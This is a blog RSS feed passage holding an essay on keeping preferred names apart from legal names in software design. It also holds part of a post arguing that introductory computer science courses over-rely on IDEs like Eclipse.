href=&#34;https://git.nora.codes/nora/dotfiles&#34;&gt;https://git.nora.codes/nora/dotfiles&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Names, Legal Names, and Fractally Deferred Responsibility</title>
      <link>https://nora.codes/post/names-legal-names-and-fractally-deferred-responsibility/</link>
      <pubDate>Mon, 11 May 2020 00:05:15 -0500</pubDate>
      <guid>https://nora.codes/post/names-legal-names-and-fractally-deferred-responsibility/</guid>
      <description>&lt;p&gt;A person’s “preferred name” is their name, their “legal name” is something else, and it’s our duty as software engineers not to muddle the two up.&lt;/p&gt;&#xA;&lt;p&gt;That means software should avoid keeping track of users’ legal names, and software that must record legal names should have a “name” field and a “legal name” field, rather than a “name” field meant for a legal name and a “preferred name” field.&lt;/p&gt;&#xA;&lt;h2 id=&#34;names&#34;&gt;Names&lt;/h2&gt;&#xA;&lt;p&gt;I suspect few would disagree that a name is a collection of characters&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; which represents a collection of sounds,&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; which people use to refer to an individual in a particular context.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;A person’s “preferred name” is their name, their “legal name” is something else, and it’s our duty as software engineers not to muddle the two up.&lt;/p&gt;&#xA;&lt;p&gt;That means software should avoid keeping track of users’ legal names, and software that must record legal names should have a “name” field and a “legal name” field, rather than a “name” field meant for a legal name and a “preferred name” field.&lt;/p&gt;&#xA;&lt;h2 id=&#34;names&#34;&gt;Names&lt;/h2&gt;&#xA;&lt;p&gt;I suspect few would disagree that a name is a collection of characters&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; which represents a collection of sounds,&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; which people use to refer to an individual in a particular context.&lt;/p&gt;&#xA;&lt;p&gt;That statement is worded very deliberately. &lt;strong&gt;People&lt;/strong&gt; use names to refer to &lt;strong&gt;other people&lt;/strong&gt;; yes, organizations have names, but those are almost always much more fixed and less commonly abbreviated. Elizabeth may be Lizzie, Liz, and Ella to different friends and relatives, and of course William can be Will, Willy, Bill, or Billy, but it&amp;rsquo;s a rare company that gets such nicknames, beyond initilisms.&lt;/p&gt;&#xA;&lt;p&gt;Names are both sound and text; few people have names that are only written, or only spoken. And the purpose of a name is to refer to an individual within a given context. You may be Danny to your buds at the bar and Mister Khan at the office; those are both &amp;ldquo;your name.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Experience shows that names are not unique, and are not guaranteed to follow any specific format, to be of any minimum or maximum length, to be the same for one person throughout their life, or even to exist for each person you (or your software) will encounter.&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;Despite this belabourment, names, to the software engineer, are very simple. A name is a collection of characters that identifies a person. It almost certainly doesn’t identify them uniquely&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;, and importantly, it need not bear any relation to their “legal name”. As software engineers, we are descendants of a proud&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; heritage&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt; of hackers who often take great pleasure in assigning and using names, called &amp;ldquo;handles&amp;rdquo;, which are completely unrelated to their given or legal names.&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;legal-names&#34;&gt;Legal Names&lt;/h2&gt;&#xA;&lt;p&gt;Nonetheless, many national, regional, and local legal systems make some assumptions about names. For example, in the United States, the Social Security Administration assumes that no name will be longer than 32 characters - two rows of 16. Most critically, many legal systems, and thus the bureaucracies attached to them, require that those who interact with them have a name, generally a first and last name, and often no more than a single middle name.&lt;sup id=&#34;fnref:8&#34;&gt;&lt;a href=&#34;#fn:8&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;Legal names are complex entities that live in a strange world of convoluted, arbitrary, and often contradicting rules and data formats. They are exactly the kind of things programmers should stay away from as much as possible.&lt;/p&gt;&#xA;&lt;h2 id=&#34;names-and-software-extension&#34;&gt;Names and Software Extension&lt;/h2&gt;&#xA;&lt;p&gt;By way of example, let us examine the situations in which I come into contact with my “legal name”. My legal first (or given) name is “Leonora” (lay-oh-no-rah), but nobody really calls me that; I go by “Nora” (no-rah) online, to my family and friends, to my colleagues, and in most contexts in which a human is directly interacting with me.&lt;/p&gt;&#xA;&lt;p&gt;My college has an ERP system which it uses to, among other things, relate students’ billing profiles to their meal plans. This is, of course, a critical function, as it allows us to eat on campus. The ERP system has a “preferred name” field, but it was added after the critical integrations were made. Therefore, I am “Leonora” to residential life, my professors, and the person who swipes my ID at the student commons.&lt;/p&gt;&#xA;&lt;p&gt;In my case, this isn’t a huge problem, but it serves to illustrate a point: when a structured collection of data includes a “name” field, it is more likely than not that future developers - either internal to your organization, or external developers writing code that interfaces with your system - will use that field to identify users, preferentially even to other “name-like” fields (such as “preferred name” or “nickname”.)&lt;/p&gt;&#xA;&lt;h2 id=&#34;harmful-uses-of-legal-names&#34;&gt;Harmful Uses of Legal Names&lt;/h2&gt;&#xA;&lt;p&gt;Hearing my full name called out in roll call, or being addressed strangely at the door to the dining hall, isn’t a terrible burden. There are, however, larger consequences of the neglect of the “preferred name” field.&lt;/p&gt;&#xA;&lt;p&gt;For instance, many international students choose to adopt an Americanized name to avoid the embarrassment and inconvenience of hearing every professor and staff member in the school mispronounce or outright skip over their name. Transgender people often have to interact with systems that use their legal name unnecessarily, causing distress and sometimes outing them to people to whom they would otherwise not be interested in discussing such a personal aspect of their lives.&lt;/p&gt;&#xA;&lt;p&gt;Changing one’s legal name, except during marriage, is a long, difficult, and expensive process. I legally changed my name last year, and it cost me over $500; depending on the jurisdiction and the situation, name changes can require months of newspaper listings, thousands of dollars, and even court appearances.&lt;/p&gt;&#xA;&lt;p&gt;Proving that one’s legal name has changed is also difficult. Even in cases where software systems are set up to accept legal name changes, there is almost always a human in the loop somewhere verifying that the documents submitted by the user are valid. This is harmful to the user, who must sometimes even appear in person to prove their name change, and to the operators of the software, who must dedicate personnel to the mind-numbing task of verifying court orders.&lt;/p&gt;&#xA;&lt;p&gt;As I mentioned, I changed my name last year. I am still finding systems in which my name hasn’t been updated; I’ve long surpassed the commonly-cited 100 hour mark,&lt;sup id=&#34;fnref:9&#34;&gt;&lt;a href=&#34;#fn:9&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;9&lt;/a&gt;&lt;/sup&gt; and I’m sure I’ve cost at least that much time in labor from other institutions.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fractal-deferment-of-responsiblity&#34;&gt;Fractal Deferment of Responsiblity&lt;/h2&gt;&#xA;&lt;p&gt;I was prompted to write this article by the experience of a friend of mine who was somewhat embarrassed by having his full, legal name called out in front of a room full of people who only knew him by another name. The was the result of a software system suffering from precisely the ailment I described: someone used the “name” field for the name displayed to kitchen workers who were preparing an order. There was no need for his legal name to be used there, but either the integration was made before the “preferred name” field was added, or the developer of the integration simply didn’t think to use it.&lt;/p&gt;&#xA;&lt;p&gt;Upon asking about why that name had been used, he was told that “they just used what was in the system.” And, of course, that’s true! It’s not their fault. In fact, there was nothing they could do about it. There’s probably nothing their boss could do about it, either, or his boss, or the CIO of the college, or the President of the college.&lt;/p&gt;&#xA;&lt;p&gt;“That’s just how the software works.”&lt;/p&gt;&#xA;&lt;p&gt;For another example, my email address uses the fancy new “.codes” top level domain. Many old software systems don’t think it’s valid, which makes it somewhat hard for me to sign up for things. This happened with my health insurance company, and I had to spend three hours on the phone to get a complaint registered. They special-cased my account after a month; I still don’t think they’ve fixed the system.&lt;/p&gt;&#xA;&lt;p&gt;We, as software engineers, build software that is inscrutable to the majority of our own, let alone people who don’t work with computers. Even open source software is difficult to change on a moment’s notice, and I would bet my bottom dollar that this software was not open source.&lt;/p&gt;&#xA;&lt;p&gt;So, people will fractally defer their responsibility. It’s not the line workers’ fault. It’s not their boss’s fault. It’s not the fault of the person who procured the software, or the manager of the engineers, and if you ever make it this far down the chain, I&amp;rsquo;ll give you even odds that the engineer who made the decision has left for greener pastures.&lt;/p&gt;&#xA;&lt;p&gt;We have to get things like this right, or they’ll never get fixed, because they’re nobody’s responsibility.&lt;/p&gt;&#xA;&lt;p&gt;So, returning to names: what should we do?&lt;/p&gt;&#xA;&lt;h2 id=&#34;do-not-record-legal-names-unless-you-have-to&#34;&gt;Do Not Record Legal Names (Unless You Have To)&lt;/h2&gt;&#xA;&lt;p&gt;My advice is to save yourself and your organization the trouble. If you’re not paying people or interacting with ICANN, the NHS,&lt;sup id=&#34;fnref:10&#34;&gt;&lt;a href=&#34;#fn:10&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;10&lt;/a&gt;&lt;/sup&gt; or the Selective Service System, &lt;strong&gt;it’s unlikely that you need to record legal names&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If people are paying you, you’re almost certainly recording a billing address for each transaction; let them enter a payment name there. That’s likely to be useful for a variety of reasons, from corporate reimbursement to parental charity. In any case, it’s possible that their &amp;ldquo;legal name&amp;rdquo; &lt;em&gt;isn’t&lt;/em&gt; the name on their credit card or bank account, if, for instance, they recently changed it;&lt;sup id=&#34;fnref:11&#34;&gt;&lt;a href=&#34;#fn:11&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;11&lt;/a&gt;&lt;/sup&gt; if your software can&amp;rsquo;t account for that, it&amp;rsquo;s not just annoying, it&amp;rsquo;s incorrect.&lt;/p&gt;&#xA;&lt;p&gt;If you create a form with a &amp;ldquo;name&amp;rdquo; field, label it somehow with the information that it isn&amp;rsquo;t asking for a &amp;ldquo;legal name&amp;rdquo;. Many websites with forms have hover-based explanatory text. This is a great place to put something like, &amp;ldquo;Whatever most people call you,&amp;rdquo; &amp;ldquo;What you&amp;rsquo;d like us to call you,&amp;rdquo; or, if you&amp;rsquo;re particularly stuffy, &amp;ldquo;Legal name not required.&amp;rdquo;&lt;/p&gt;&#xA;&lt;h2 id=&#34;names-arent-legal-names&#34;&gt;Names Aren’t Legal Names&lt;/h2&gt;&#xA;&lt;p&gt;If you do find yourself needing to record legal names, &lt;strong&gt;those shouldn’t be the main way your system refers to your users&lt;/strong&gt;. Give them a “Name” and “Legal Name (if different)” field on signup forms, or let them uncheck a “This is my legal name” checkbox if you feel like that adds too much clutter. Then let them change their name any time, and only use the “legal name” field when you need to.&lt;/p&gt;&#xA;&lt;h2 id=&#34;names-are-mutable&#34;&gt;Names Are Mutable&lt;/h2&gt;&#xA;&lt;p&gt;Furthermore, the &amp;ldquo;name&amp;rdquo; field should be trivial for a user to change.&lt;sup id=&#34;fnref:12&#34;&gt;&lt;a href=&#34;#fn:12&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;12&lt;/a&gt;&lt;/sup&gt; Becuase a &amp;ldquo;legal name&amp;rdquo; field can be used when official documents are involved, there are few ramifications that won&amp;rsquo;t be controlled by existing social structures. This means using something else as a unique key, like a UUID or even a simple serial index. Many operating systems, for instance, are guilty of making it very difficult to change a username.&lt;/p&gt;&#xA;&lt;p&gt;I promise you that your users with long names, your transgender users, and your users who are getting ready to get married, or divorced, or to leave abusive living situations and want to leave their old name behind&lt;sup id=&#34;fnref:13&#34;&gt;&lt;a href=&#34;#fn:13&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;13&lt;/a&gt;&lt;/sup&gt;, will thank you. And so will your customer success team, because they won’t have to process stacks of name change papers!&lt;/p&gt;&#xA;&lt;p&gt;Most critically, though, &lt;strong&gt;be clear about how information will be used&lt;/strong&gt;, especially names, at the time it is collected. If you&amp;rsquo;re asking for my name on this particular form so you can give me a W2, say, &amp;ldquo;This is the name we&amp;rsquo;ll put on your W2.&amp;rdquo; If you&amp;rsquo;re asking my what my name is so you can strip everything but the first cluster of letters and put it in your newsletter, say so!&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;As several commenters pointed out, it&amp;rsquo;s not just letters, as Mrs. O&amp;rsquo;Leary or X Æ A-12 Musk will tell you.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;It is possible that, in our modern society, the letters come before the sounds, and the sounds represent the letters. I’ll leave that one to the philosophers and linguists to hash out.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;“Falsehoods Programmers Believe About Names”, &lt;a href=&#34;https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/&#34;&gt;https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;When we allow a user to choose a name-like unique identifier, it’s often called a username, a handle, or an “at” (from the Twitter convention of using @whatever to signify that “whatever” is inline metadata referring to a user by username.) This is not a name.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;Perhaps too proud, at times.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;The prime history of which is, sadly, now maintained by Eric Raymond.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:7&#34;&gt;&#xA;&lt;p&gt;See &lt;em&gt;The New Hacker Dictionary&lt;/em&gt;, &amp;ldquo;&lt;a href=&#34;http://www.catb.org/jargon/html/H/handle.html&#34;&gt;handle&lt;/a&gt;&amp;rdquo;.&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:8&#34;&gt;&#xA;&lt;p&gt;I have two middle names. While my Social Security card lists part of my second middle name, and my California ID card lists both in their entirety, I rarely see my second middle name survive the machinations of bureaucracy.&amp;#160;&lt;a href=&#34;#fnref:8&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:9&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://medium.com/bits-and-behavior/100-hours-of-name-change-labor-c652c22a89b9&#34;&gt;https://medium.com/bits-and-behavior/100-hours-of-name-change-labor-c652c22a89b9&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:9&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:10&#34;&gt;&#xA;&lt;p&gt;In the UK, there isn&amp;rsquo;t a single concept of a &amp;ldquo;legal name&amp;rdquo;, and indeed, a lot of software that makes this assumption is guilty not only of being annoying and incorrect but also US-centric. The NHS, however, does require an &amp;ldquo;official name&amp;rdquo; which can be verified against birth date, NHS ID, and other information.&amp;#160;&lt;a href=&#34;#fnref:10&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:11&#34;&gt;&#xA;&lt;p&gt;Contrary to what many told me, I’ve been assured by the court that changed my name that this is perfectly legal, at least in California. You’re under no obligation to tell anyone in particular about your name change.&amp;#160;&lt;a href=&#34;#fnref:11&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:12&#34;&gt;&#xA;&lt;p&gt;Hacker News user jcrawfodor rightly suggested that this point be discussed more directly. It&amp;rsquo;s very important.&amp;#160;&lt;a href=&#34;#fnref:12&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:13&#34;&gt;&#xA;&lt;p&gt;Some commentary brought up the possibility of abuse of name-change mechanisms. While I think it&amp;rsquo;s possible that name changes could be abused to, e.g., create offensive-sounding names, this strikes me as rare and easy to detect - and if changing a name isn&amp;rsquo;t a big deal in your system, someone can just change it back. Furthermore, a lot of of people do actually have names that you might consider to be &amp;ldquo;offensive&amp;rdquo;. After the initial publication of this article, someone with the surname &amp;ldquo;Hooker&amp;rdquo; contacted me to tell me that he had been denied access to systems in the past because people assumed his name was an attempt to insert offensive content.&amp;#160;&lt;a href=&#34;#fnref:13&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Stop Making Students Use Eclipse</title>
      <link>https://nora.codes/post/stop-making-students-use-eclipse/</link>
      <pubDate>Sat, 11 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/stop-making-students-use-eclipse/</guid>
      <description>&lt;p&gt;Using Java or Python in a professional IDE like IntelliJ IDEA, NetBeans, PyCharm, or Eclipse is not a good first introduction to programming for computer science students, whether they&amp;rsquo;re in the field to become web developers, systems software engineers, or academic computer science researchers.&lt;/p&gt;&#xA;&lt;p&gt;Some IDEs, such as jGRASP,&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; provide education-specific tooling, like the &amp;ldquo;automatic generation of visualizations for improving the comprehensibility of the software&amp;rdquo;; that is, when you write a linked list and run your code in jGRASP, you see a diagram of a linked list on the screen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Using Java or Python in a professional IDE like IntelliJ IDEA, NetBeans, PyCharm, or Eclipse is not a good first introduction to programming for computer science students, whether they&amp;rsquo;re in the field to become web developers, systems software engineers, or academic computer science researchers.&lt;/p&gt;&#xA;&lt;p&gt;Some IDEs, such as jGRASP,&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; provide education-specific tooling, like the &amp;ldquo;automatic generation of visualizations for improving the comprehensibility of the software&amp;rdquo;; that is, when you write a linked list and run your code in jGRASP, you see a diagram of a linked list on the screen.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;p&gt;&lt;a href=&#34;https://www.jgrasp.org/images/ij_plugin.png&#34;&gt;&lt;img src=&#34;https://www.jgrasp.org/images/ij_plugin.png&#34; alt=&#34;jGRASP in action in IntelliJ IDEA.&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;jGRASP, an education-focused IDE, can be used on its own or, as here, integrated with IntelliJ IDEA.&lt;/p&gt;&#xA;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Most IDEs, though, primarily serve two purposes for students. First, in a Java-focused curriculum, it &lt;strong&gt;insulates the student&lt;/strong&gt; from the &lt;code&gt;javac&lt;/code&gt; command line program, and the command line environment itself.&#xA;Second, it catches some basic mistakes and allows the student to &lt;strong&gt;defer learning&lt;/strong&gt; about the finnicky language requirements that aren&amp;rsquo;t deemed core to the curriculum, like imports and file naming requirements.&lt;/p&gt;&#xA;&lt;p&gt;Crucially, I do believe that these are real problems. A student who has not written an &lt;code&gt;if&lt;/code&gt; statement doesn&amp;rsquo;t need to understand the philosophy behind putting each public class in its own file, or what &lt;code&gt;public&lt;/code&gt; or &amp;ldquo;class&amp;rdquo; even means.&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;whats-the-deal-with-these-ides&#34;&gt;What&amp;rsquo;s the deal with these IDEs?&lt;/h2&gt;&#xA;&lt;p&gt;The whole purpose of an IDE is to provide an &lt;strong&gt;integrated&lt;/strong&gt; environment - it&amp;rsquo;s even in the name.&#xA;It also provides a homogeneous environment for the instructor to instruct on; rather than teaching students how to install Java and a platform-specific programmer&amp;rsquo;s editor on each platform, they can just say &amp;ldquo;install this IDE, open it, and click New Project.&amp;rdquo;&#xA;This is valuable in an introductory course, as it avoids wasting class time and lowers the barrier to entry, but it&amp;rsquo;s crucial to introduce these inconvenient details eventually.&lt;/p&gt;&#xA;&lt;p&gt;In my experience as a student, after the first or second year of CS classes, students tend to grasp the basic control structures.&#xA;They can write branches and loops and functions and use basic data structures like lists and maps.&#xA;The ACM&amp;rsquo;s 2013 guidance on CS curricula agrees with me here; they recommend a focus on basic structures of programming languages and problem solving.&lt;/p&gt;&#xA;&lt;p&gt;What they can&amp;rsquo;t do, unless they&amp;rsquo;ve figured it out on their own, is operate a computer outside of the confines of the IDE they&amp;rsquo;ve been taught.&#xA;In none of the curricula I&amp;rsquo;ve seen, through personal experience or reading syllabi provided by other students, is there a place for students to get past the myriad of barriers that constitute the use of a computer in the modern day.&lt;/p&gt;&#xA;&lt;p&gt;Students who use Windows aren&amp;rsquo;t taught that, while their file system is case-insensitive, not all filesystems are. They probably aren&amp;rsquo;t taught that a &amp;ldquo;file system&amp;rdquo; is a concept until a 300-level operating systems course.&#xA;Students who use Mac OS aren&amp;rsquo;t taught what the &lt;code&gt;.DS_Store&lt;/code&gt; directory is, or why it&amp;rsquo;s irrelevant to their project submissions.&#xA;Students learning Java don&amp;rsquo;t know that &lt;code&gt;javac&lt;/code&gt; is their compiler and &lt;code&gt;java&lt;/code&gt; their virtual machine, at least until they take a course in compilers.&#xA;Nobody focuses on things like ASCII, Unicode, and UTF-8, or on how programs interoperate, or on how to share and distribute programs that students write.&lt;/p&gt;&#xA;&lt;p&gt;Introductory CS curricula focus on abstract ideas of programming, and use IDEs to accomplish that.&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-is-this-a-problem&#34;&gt;Why is this a problem?&lt;/h2&gt;&#xA;&lt;p&gt;So, okay, students are being taught how to write code and solve problems with math instead of grapple with the intricate details of the eldrich monstrosities that are modern operating systems. Surely that&amp;rsquo;s a good thing?&lt;/p&gt;&#xA;&lt;p&gt;The issue is, as Kevlin Henney is fond of saying, &amp;ldquo;Software is nothing &lt;em&gt;but&lt;/em&gt; the details.&amp;rdquo;&#xA;When students don&amp;rsquo;t understand what a file is, or haven&amp;rsquo;t ever edited text in anything but Microsoft Word and don&amp;rsquo;t realize they &lt;em&gt;can&lt;/em&gt; edit code outside of an IDE&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, they will not be able to do the crucial work of self-directed learning that is a hallmark of all computer science success.&#xA;When students have only ever programmed in Java using some bespoke learning library provided by their professor, it will take them much longer than necessary to figure out other languages, other libraries, and other approaches.&#xA;In a field that moves as fast as this one does, that&amp;rsquo;s a very serious problem.&lt;/p&gt;&#xA;&lt;p&gt;It also undermines their ability to learn in a classroom setting going forward.&#xA;Among my fellow students, those who merely do what is expected of them - merely attend each and every class, do the reading, and do their problem sets and homework - aren&amp;rsquo;t prepared to learn about networking, or &lt;code&gt;git&lt;/code&gt;, or project management, because their knowledge is disconnected from the real world.&#xA;Teaching someone to use &lt;code&gt;git&lt;/code&gt; is very difficult if they&amp;rsquo;ve never been taught that a file is an logical unit composed of bytes and metadata.&#xA;Teaching someone the importance of agile methodology is difficult if they&amp;rsquo;ve never distributed a piece of software, even to their professor or friends.&lt;/p&gt;&#xA;&lt;p&gt;Most importantly, though, it limits the ability of their &lt;em&gt;peers&lt;/em&gt; to learn.&#xA;If a 300-level software engineering class which budgeted a week to teach basic version control skills has to take a two-day detour to teach the Windows users how to get rid of the CRLFs in their commits, and teach the Mac users to remove the &lt;code&gt;.DS_Store&lt;/code&gt; files from their repositories, and get everyone set up in Eclipse EGIT, that&amp;rsquo;s wasted time.&#xA;If the professor has to schedule time with students outside of class to demonstrate their code because so many students aren&amp;rsquo;t able to submit their code in a form that successfully runs on the professor&amp;rsquo;s computer, that&amp;rsquo;s wasted time for both professors and students, and it undermines important lessons about portability and good practices.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, my core belief is this: Students need to know how to use computers before they can program them in a serious way.&lt;/p&gt;&#xA;&lt;h2 id=&#34;moving-forward---or-backwards-or-sideways&#34;&gt;Moving forward - or backwards, or sideways?&lt;/h2&gt;&#xA;&lt;p&gt;I should be clear - I&amp;rsquo;m not talking about MIT. I&amp;rsquo;m not talking about CMU or UC Berkeley (oh, I&amp;rsquo;m sorry, &amp;ldquo;Cal&amp;rdquo;).&#xA;I&amp;rsquo;m not even talking about Stanford.&#xA;I&amp;rsquo;m talking about other places - the SLACs that have four or five CS professors, the polytechnic universities, everywhere else.&#xA;The places where &amp;ldquo;computer science&amp;rdquo; and &amp;ldquo;computer engineering&amp;rdquo; might not be different majors, and even if they are, they aren&amp;rsquo;t really different departments, different buildings, different schools.&lt;/p&gt;&#xA;&lt;p&gt;So how do we move forward?&#xA;How do we build computer science programs that prepare students to build their own futures?&#xA;We have to recognize what the ACM has been telling us since 2002 - that there are two or three tracks to &amp;ldquo;computer science&amp;rdquo;: what we might call &amp;ldquo;theoretical computer science&amp;rdquo;; what we might call &amp;ldquo;computer engineering&amp;rdquo;; and what we might call &amp;ldquo;software engineering&amp;rdquo;.&#xA;We move forward by giving students a taste of all three when they enter the field, and letting them specialize as they wish.&lt;/p&gt;&#xA;&lt;p&gt;I am very sympathetic to the idea that getting students programming quickly is important.&#xA;So do that.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Provide a standardized environment - as a VM, perhaps, or using something like repl.it or ideone - perhaps a similar software designed specifically for education.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Use a language that teaches the fundamentals of the paradigm you&amp;rsquo;re interested in, like Scheme or Python. (Please, please not Java.)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Provide support for students who are interested in doing their own 